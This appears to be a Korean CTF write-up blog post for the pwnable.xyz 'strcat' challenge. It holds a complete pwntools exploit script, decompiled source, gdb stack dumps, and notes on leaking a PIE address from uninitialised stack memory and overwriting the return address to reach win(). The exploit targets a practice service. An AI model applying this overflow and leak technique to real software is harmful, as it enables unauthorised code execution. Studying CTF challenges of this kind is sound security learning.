from pwn import *
p = remote("svc.pwnable.xyz", 30014)
# p = process("./challenge")
# 0x408 byte 채워야하므로 시간절약 위해 맨처음에 최대한 읽어놓자
p.sendafter("> ", "1")
p.sendafter("data: ", 'A'*127)
while True:
p.sendafter("> ", "2")
tmp = p.recvuntil("chars: ")
num = int(tmp[8:-8])
if num>=14:
p.send("A"*8)
break
if num!=0:
p.send("\x00")
p.sendafter("> ", "3")
p.recvuntil('A'*135)
win_addr = u64(p.recvline()[:-1]+b"\x00"*2) - 0xc2 + 0x57
print(hex(win_addr))
cnt = 141
while cnt<0x408: # char[1024] + SFP(8B) 채우기
p.sendafter("> ", "2")
tmp = p.recvuntil("chars: ")
num = int(tmp[8:-8])
if cnt+num>0x408:
p.send("\x00")
continue
p.send('A'*num)
cnt += num
print("cnt= "+str(cnt)+", num= "+str(num))
while True: # RET overwrite
p.sendafter("> ", "2")
tmp = p.recvuntil("chars: ")
num = int(tmp[8:-8])
if num>=8:
p.send(p64(win_addr))
break
if num!=0:
p.send("\x00")
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int int32; // eax
char s[1024]; // [rsp+10h] [rbp-400h] BYREF
setup(argc, argv, envp);
memset(s, 0, sizeof(s));
while ( 1 )
{
while ( 1 )
{
print_menu(); // printf("Menu:\n 1. Init\n 2. Append\n 3. Print\n 0. Exit\n> ");
// mov DWORD PTR [rbp-0x404],eax
// mov eax,DWORD PTR [rbp-0x404]
int32 = read_int32();
if ( int32 != 1 )
break;
printf("data: ");
// stdin에서 최대 127자 입력받아 s에 저장 + 마지막은 널바이트
// 줄바꿈 문자 만나면 줄바꿈까지 읽고 끝남
fgets(s, 128, stdin);
}
if ( int32 <= 1 )
break;
if ( int32 == 2 )
{
append(s);
}
else if ( int32 == 3 )
{
printf("Your message: %s\n", s);
}
else
{
LABEL_13:
puts("Invalid");
}
}
if ( int32 )
goto LABEL_13;
return 0;
}
int read_int32()
{
char s[16]; // [rsp+0h] [rbp-10h] BYREF
memset(s, 0, sizeof(s));
read(0, s, 0x10uLL);
return atoi(s);
}
char *__fastcall append(char *a1)
{
char buf[28]; // [rsp+10h] [rbp-20h] BYREF
unsigned int v3; // [rsp+2Ch] [rbp-4h]
v3 = rand() % 16; // 0~15
printf("Give me %d chars: ", v3);
read(0, buf, (int)v3);
// string2의 처음 count자를 string1에 추가하고 널 문자(\0)로 결과 스트링을 종료
// count가 string2 길이보다 크면 count 대신 string2 길이를 사용
// strncat() 함수는 널로 끝나는 스트링에서 작동
return strncat(a1, buf, (int)v3);
}
Full RELRO No canary found NX enabled PIE enabled
- win() 함수가 있다. canary 없으니 RET overwrite 하면 되겠네?
- win(): 0x~b57 , 보니까 rbp에 담겨있는 값이 __libc_csu_init 함수(0x~d10) => PIE base?
<exploit 계획1>
- 0x400바이트만큼 s를 추가시킨다음 문자열 출력하면 마지막에 __libc_csu_init 함수 주소 leak
- offset 이용해 win() 주소 leak한다음
- 0x408바이트만큼 s를 추가시킨다음 마지막에 8자 win() 주소 overwrite
=> 실패 이유: strncat 함수는 복사 후 결과 문자열에 null바이트를 추가해주므로 그 뒤를 읽어들일 수 x
- 가끔 알 수 없는 값이 leak 되던데? buf 상태를 확인해볼까
pwndbg> x/4gx $rbp-0x20
0x7fffffffd9e0: 0x0000000000000000 0x0000555555554bc2
0x7fffffffd9f0: 0x0000000000000a32 0x0000000000000000
- buf[8]~[13]에 <read_int32+64> 주소가 little endian으로 들어있다
- buf[14],[15]는 널바이트이다
- <read_int32+64> 0x~bc2와 <win> 0x~b57은 마지막 바이트만 다르다
- 14 이상 숫자가 뜨고, 8자만 채우면 주소 leak 가능
<exploit 계획 - final>
- append에서 14자 이상 입력 가능할때까지 돌리다가 'A'*8자 보내 buf에 저장된 주소 6byte를 s로 leak한다
- print해서 win 주소 구한다
- 0~15자를 계속 추가해나가면서 0x408바이트 채운다
- append에서 7자 이상 입력 가능할때까지 돌리다가 win() 주소 보내 overwrite 한다
- main 함수 종료하면 RET에 담긴 win() 실행된다
<새로 알게된 점>
- strncat은 널로 끝나는 스트링에 의해 동작하며, 추가한 결과 문자열에 null byte를 붙임
- 지역변수 buf의 값을 memset 등을 통해 초기화하지 않으면 PIE base leak에 활용될 수 있다
- gdb.attach(p) 해두고 디버깅 창에서 disas main 해서 적절히 bp 세팅해놓고 continue 하면 main 코드에서 적절히 멈춰서 스택상태 등을 분석하기 용이하다
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - message (0) | 2023.02.16 |
---|---|
pwnable.xyz - strcat (0) | 2023.02.12 |
pwnable.xyz - J-U-M-P (0) | 2023.02.12 |
pwnable.xyz - SUS (0) | 2023.02.09 |
pwnable.xyz - fspoo (0) | 2023.02.09 |